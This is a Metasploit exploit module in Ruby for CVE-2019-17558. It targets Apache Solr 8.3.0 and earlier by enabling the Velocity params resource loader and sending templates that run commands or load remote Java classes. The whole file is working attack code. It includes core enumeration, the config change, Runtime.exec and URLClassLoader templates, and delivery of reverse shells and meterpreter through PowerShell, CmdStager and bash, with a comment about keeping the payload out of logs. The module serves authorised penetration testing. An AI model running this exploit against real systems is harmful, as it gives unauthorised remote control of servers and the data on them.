##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient

  include Msf::Exploit::Remote::Java::HTTP::ClassLoader

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
        'Description' => %q{
          This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
          Velocity template. Currently, this module only supports Solr basic authentication.

          From the Tenable advisory:
          An attacker could target a vulnerable Apache Solr instance by first identifying a list
          of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
          HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
          Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
          template parameter in a specially crafted Solr request, leading to RCE.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          's00py', # Discovery and PoC
          'jas502n', # exploit code on Github
          'AleWong', # ExploitDB contribution, and exploit code on Github
          'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
        ],
        'References' => [
          [ 'EDB', '47572' ],
          [ 'CVE', '2019-17558' ],
          [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
          [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
          [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
          [ 'URL', 'https://github.com/jas502n/solr_rce'],
          [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
        ],
        'Platform' => ['linux', 'unix', 'win'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'Type' => :java,
              'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix (in-memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux (dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'CmdStagerFlavor' => %w[curl wget]
            }
          ],
          [
            'x86/x64 Windows PowerShell',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_psh,
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            }
          ],
          [
            'x86/x64 Windows CmdStager',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_cmdstager,
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
              'CmdStagerFlavor' => %w[vbs certutil]
            }
          ],
          [
            'Windows Exec',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_exec,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
            }
          ],
        ],
        'DisclosureDate' => '2019-10-29', # ISO-8601 formatted
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        },
        'Privileged' => false
      )
    )

    register_options(
      [
        Opt::RPORT(8983),
        OptString.new('USERNAME', [false, 'Solr username', 'solr']),
        OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
        OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
      ]
    )
  end

  # if we are going to exploit, we only need one core to be exploitable
  @vuln_core = ''
  # OS specific stuff
  @target_platform = ''
  # if authentication is used
  @auth_string = ''

  def check_auth
    # see if authentication is required for the specified Solr instance
    auth_check = solr_get(
      'uri' => normalize_uri(target_uri.path, '/admin/info/system'),
      'vars_get' => { 'wt' => 'json' }
    )

    # successfully connected?
    unless auth_check
      print_bad('Connection failed!')
      return nil
    end

    # if response code is not 200, then the Solr instance definitely requires authentication
    unless auth_check.code == 200
      # if authentication is required and creds are not provided, we cannot reliably check exploitability
      if datastore['USERNAME'] == '' && datastore['PASSWORD'] == ''
        print_bad('Credentials not provided, skipping credentialed check...')
        return nil
      end

      # otherwise, try the given creds
      auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      attempt_auth = solr_get(
        'uri' => normalize_uri(target_uri.path, '/admin/info/system'),
        'vars_get' => { 'wt' => 'json' },
        'auth' => auth_string
      )

      # successfully connected?
      unless attempt_auth
        print_bad('Connection failed!')
        return nil
      end

      # if the return code is not 200, then authentication definitely failed
      unless attempt_auth.code == 200
        print_bad('Invalid credentials!')
        return nil
      end

      store_valid_credential(
        user: datastore['USERNAME'],
        private: datastore['PASSWORD'],
        private_type: :password,
        proof: attempt_auth.to_s
      )

      @auth_string = auth_string
      # return the response for use in check/exploit
      return attempt_auth
    end

    print_status("#{peer}: Authentication not required")
    # return the response for use in check/exploit
    auth_check
  end

  # check for vulnerability existence
  def check
    auth_res = check_auth
    unless auth_res
      return CheckCode::Unknown('Authentication failed!')
    end

    # convert to JSON
    ver_json = auth_res.get_json_document
    # get Solr version
    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
    print_status("Found Apache Solr #{solr_version}")
    # get OS version details
    @target_platform = ver_json['system']['name']
    target_arch = ver_json['system']['arch']
    target_osver = ver_json['system']['version']
    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
    # uname doesn't show up for Windows, so run a check for that
    if ver_json['system']['uname']
      # print uname only when verbose
      vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
    end

    # the vulnerability is only present in Solr versions <= 8.3.0
    unless solr_version <= Rex::Version.new('8.3.0')
      return CheckCode::Safe('Running version of Solr is not vulnerable!')
    end

    # enumerate cores
    cores = solr_get(
      'uri' => normalize_uri(target_uri.path, '/admin/cores'),
      'vars_get' => { 'wt' => 'json' },
      'auth' => @auth_string
    )

    # can't connect? that's yet another automatic failure
    unless cores
      return CheckCode::Unknown('Could not enumerate cores!')
    end

    # convert to JSON yet again
    cores_json = cores.get_json_document
    # draw up an array of all the cores
    cores_list = Array.new
    # get the core names
    cores_json['status'].each_key do |core_name|
      cores_list.push(core_name)
    end

    # no cores? that means nothing to exploit.
    if cores_list.empty?
      return CheckCode::Safe('No cores found, nothing to exploit!')
    end

    # got cores? tell the operator which cores were found
    print_status("Found core(s): #{cores_list.join(', ')}")
    possibly_vulnerable_cores = {}

    cores_list.each do |core|
      # for each core, attempt to get config
      core_config_json = get_response_writer_config(core.to_s)

      if core_config_json.dig('config', 'queryResponseWriter').blank?
        print_error("Failed to get queryResponseWriter configuration for core '#{core}'")
        next
      end

      core_config_json['config']['queryResponseWriter'].each do |writer_name, writer_config|
        # The default name is 'velocity' but a queryResponseWriter can have an
        # arbitrary name. The classname is diagnostic.
        next unless writer_config['class'] == 'solr.VelocityResponseWriter'

        print_good("Found Velocity Response Writer in use by core '#{core}'")
        vprint_status("Writer config: #{writer_config}")

        # String 'true' from the remote configuration, not TrueClass
        if writer_config['params.resource.loader.enabled'] == 'true'
          print_good("params.resource.loader.enabled for core '#{core}' is set to true.")
          possibly_vulnerable_cores.store(core, writer_name)
        else
          # if params.resource.loader.enabled is false, we need to set it to true before exploitation
          print_warning("params.resource.loader.enabled for core '#{core}' is set to false.")
          possibly_vulnerable_cores.store(core, false)
        end
      end
    end

    # look at the array of possibly vulnerable cores
    if possibly_vulnerable_cores.empty?
      CheckCode::Safe('No cores are vulnerable!')
    else
      # if possible, pick a core that already has params.resource.loader.enabled set to true
      possibly_vulnerable_cores.each do |core|
        if core[1]
          @vuln_core = core
          break
        end
      end
      # otherwise, just pick the first one
      if @vuln_core.to_s == ''
        @vuln_core = possibly_vulnerable_cores.first
      end
      CheckCode::Vulnerable
    end
  end

  def get_response_writer_config(core)
    core_config = solr_get(
      'uri' => normalize_uri(target_uri.path, core.to_s, 'config', 'queryResponseWriter'),
      'auth' => @auth_string
    )

    if core_config
      return core_config.get_json_document
    else
      print_error("Could not retrieve configuration for core '#{core}'!")
      return nil
    end
  end

  def change_response_writer(core, verb: 'update')
    # the new config in JSON format
    enable_params_resource_loader = {
      "#{verb}-queryresponsewriter": {
        startup: 'lazy',
        name: 'velocity',
        class: 'solr.VelocityResponseWriter',
        # "template.base.dir": "",
        # "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": 'true'
      }
    }.to_json

    opts_post = {
      'method' => 'POST',
      'connection' => 'Keep-Alive',
      'ctype' => 'application/json;charset=utf-8',
      'encode_params' => false,
      'uri' => normalize_uri(target_uri.path, core, 'config'),
      'data' => enable_params_resource_loader
    }

    unless @auth_string == ''
      opts_post.store('authorization', @auth_string)
    end

    print_status("params.resource.loader.enabled is false for '#{core}', trying to #{verb} it...")
    update_config = send_request_cgi(opts_post)

    unless update_config
      fail_with Failure::Unreachable, 'Connection failed!'
    end

    # if we got anything other than a 200 back, the configuration update failed and the exploit won't work
    unless update_config.code == 200
      fail_with Failure::UnexpectedReply, 'Unable to update config, exploit failed!'
    end

    update_config.get_json_document
  end

  # the exploit method
  def exploit
    unless [CheckCode::Vulnerable].include? check
      fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
    end

    print_status("Targeting core '#{@vuln_core[0]}'")

    # if params.resource.loader.enabled for that core is false
    if !@vuln_core[1]
      response_json = change_response_writer(@vuln_core[0], verb: 'update')

      if response_json.key?('errorMessages')
        server_error = response_json['errorMessages'].first['errorMessages']&.first
        print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
        # rubocop:disable Lint/UselessAssignment
        response_json = change_response_writer(@vuln_core[0], verb: 'create')
        # rubocop:enable Lint/UselessAssignment
      end
    end

    core_config_json = get_response_writer_config(@vuln_core[0])

    if core_config_json.dig('config', 'queryResponseWriter', 'velocity', 'params.resource.loader.enabled')
      print_good("params.resource.loader.enabled is true for core '#{@vuln_core[0]}'")
    else
      print_warning("Config change appears to have failed but I'll try anyway. Wish me luck.")
    end

    case target.name
    when /Java/
      @classloader_uri = start_service
      execute_java('core_name' => @vuln_core[0], 'auth_string' => @auth_string)
      return
    end

    # windows...
    if @target_platform.include? 'Windows'
      # if target is wrong, warn and exit before doing anything
      unless target.name.include? 'Windows'
        fail_with Failure::BadConfig, 'Target is found to be Windows, please select the proper target!'
      end

      case target['Type']
      # PowerShell...
      when :windows_psh
        # need PowerShell for this
        winenv_path = execute_command('C:\\Windows\\System32\\cmd.exe /c PATH', 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
        unless winenv_path
          fail_with Failure::Unreachable, 'Connection failed!'
        end

        # did the command to check for PATH execute?
        unless winenv_path.code == 200
          fail_with Failure::UnexpectedReply, 'Unexpected reply from target, aborting!'
        end

        # is PowerShell in PATH?
        if /powershell/i =~ winenv_path.body.to_s
          # only interested in the contents of PATH. Everything before it is irrelevant
          paths = winenv_path.body.split('=')[1]
          # confirm that PowerShell exists in the PATH by checking each one
          paths.split(';').each do |path_val|
            # if PowerShell exists in PATH, then we are good to go
            unless /powershell/i =~ path_val
              next
            end

            print_good("Found Powershell at #{path_val}")
            # generate PowerShell command, encode with base64, and remove comspec
            psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
            # specify full path to PowerShell
            psh_cmd.insert(0, path_val)
            # exploit the thing
            execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
            break
          end
        else
          fail_with Failure::BadConfig, 'PowerShell not found!'
        end
      # ... CmdStager ...
      when :windows_cmdstager
        print_status('Sending CmdStager payload...')
        execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      # ... or plain old exec?
      when :windows_exec
        cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      end
    end

    # ... or nix-based?
    if @target_platform.include? 'Linux'
      # if target is wrong, warn and exit before doing anything
      if target.name.include? 'Windows'
        fail_with Failure::BadConfig, 'Target is found to be nix-based, please select the proper target!'
      end

      case target['Type']
      when :linux_dropper
        execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      when :unix_memory
        cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      end
    end
  end

  # some prep work has to be done to work around the limitations of Java's Runtime.exec()
  def execute_cmdstager_begin(_opts)
    if @target_platform.include? 'Windows'
      @cmd_list.each do |command|
        command.insert(0, 'C:\\Windows\\System32\\cmd.exe /c ')
      end
    else
      @cmd_list.each do |command|
        command.insert(0, '/bin/bash -c $@|/bin/bash . echo ')
      end
    end
  end

  def execute_java(opts = {})
    template =
      %q{
      #set($_="")
      #set($c=$_.getClass().getClass())
      #set($a=$c.forName("java.util.ArrayList"))
      #set($l=$a.newInstance())
      #set($o=$c.forName("java.lang.Object"))
      #set($q=$a.getMethod("add",$o).invoke($l,"x"))
      #set($i=$c.forName("java.lang.Integer").getField("TYPE").get(null))
      #set($url=$c.forName("java.net.URL").getConstructor($c.forName("java.lang.String")).newInstance("} + @classloader_uri + %q{"))
      #set($ani=$c.forName("java.lang.reflect.Array").getMethod("newInstance",$c,$i))
      #set($l[0]=$ani.invoke(null,$c.forName("java.net.URL"),1))
      #set($l[0][0]=$url)
      #set($url_cl=$c.forName("java.net.URLClassLoader").getConstructor($c.forName("[Ljava.net.URL;")).newInstance($l.toArray()))
      #set($z=$url_cl.loadClass("metasploit.Payload"))
      #set($l[0]=$ani.invoke(null,$c.forName("java.lang.String"),0))
      #set($_=$z.getMethod("main",$c.forName("[Ljava.lang.String;")).invoke(null,$l.toArray()))
    }

=begin
    # Here's an example of a template that can base64 decode a header.
    # This only works on Solr versions after 6.6 that introduced the
    # getHttpSolrCall method, allowing us access to the request headers. Also,
    # java.util.Base64 was introduced in java 1.8, so older installs are
    # likely not to have that either.
    %q{
      #set($b=$request.getHttpSolrCall().req.getHeader("X-A00"))
      #set($c=$b.getClass().getClass())
      #set($s=$c.forName("java.lang.String").getConstructor("[B"))
      #set($d=$c.forName("java.util.Base64").getMethod("getDecoder",null).invoke(null, null))
      #set($payloadByteArray=$d.decode($b))
      #set($decoded_str=$s.invoke($payloadByteArray))
      $decoded_str
    }
=end

    # execute the exploit...
    raw_result = solr_get(
      'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
      'auth' => opts['auth_string'],
      'vars_get' => {
        'q' => '1',
        'wt' => 'velocity',
        'v.template' => 'custom',
        'v.template.custom' => template.gsub(/^[[:space:]]*/, '')
      }
    )

    # This will give you a Java stack trace from the remote side to help with
    # debugging payload templates.
    if raw_result&.code != 200
      # pp raw_result.headers
      vprint_error raw_result.body
      fail_with Failure::PayloadFailed, 'Velocity template caused an exception on the server'
    end
  end

  # sic 'em, bois!
  def execute_command(cmd, opts = {})
    # custom template which enables command execution
    template = %q{
      #set($c = $request.getParams().get("c"))
      #set($x="")
      #set($rt=$x.class.forName("java.lang.Runtime"))
      #set($ex=$rt.getRuntime().exec($c))
    }

    # the next 2 lines cause problems with CmdStager, so it's only used when needed
    # during the check for PowerShell existence, or by specific payloads
    if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
      template += <<~VELOCITY
        #set($a=$ex.waitFor())
        #set($out=$ex.getInputStream())
        #if($out.available() > 0)
          #set($chr=$x.class.forName("java.lang.Character"))
          #set($str=$x.class.forName("java.lang.String"))
          #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
        #end
      VELOCITY
    end

    # execute the exploit...
    # POST, so our payload doesn't end up in logs
    raw_result = solr_get(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
      'auth' => opts['auth_string'],
      'vars_post' => {
        'q' => '1',
        'wt' => 'velocity',
        'v.template' => 'custom',
        'v.template.custom' => template.gsub(/^[[:space:]]*/, ''),
        'c' => cmd
      },
      'timeout' => 1
    )

    # Executing PATH always gives a result, so it can return safely
    if opts['winenv_check']
      return raw_result
    end

    # for printing command output
    unless raw_result.nil?
      unless raw_result.code == 200
        vprint_error raw_result.body
        fail_with Failure::PayloadFailed, 'Payload failed to execute!'
      end

      # to get pretty output
      result_inter = raw_result.body.to_s.sub("0\n", ':::').split(':::').last
      unless result_inter.nil?
        final_result = result_inter.split("\n").first.strip
        print_good(final_result)
      end
    end
  end

  # make sending requests easier
  def solr_get(opts = {})
    send_request_cgi_opts = {
      'method' => 'GET',
      'connection' => 'Keep-Alive',
      'uri' => opts['uri']
    }.merge(opts)

    # @auth_string defaults to "" if no authentication is necessary
    # otherwise, authentication is required
    if opts['auth'] != ''
      send_request_cgi_opts.store('authorization', opts['auth'])
    end

    # a bit unrefined, but should suffice in this case
    if opts['vars_get']
      send_request_cgi_opts.store('vars_get', opts['vars_get'])
    end

    send_request_cgi(send_request_cgi_opts)
  end
end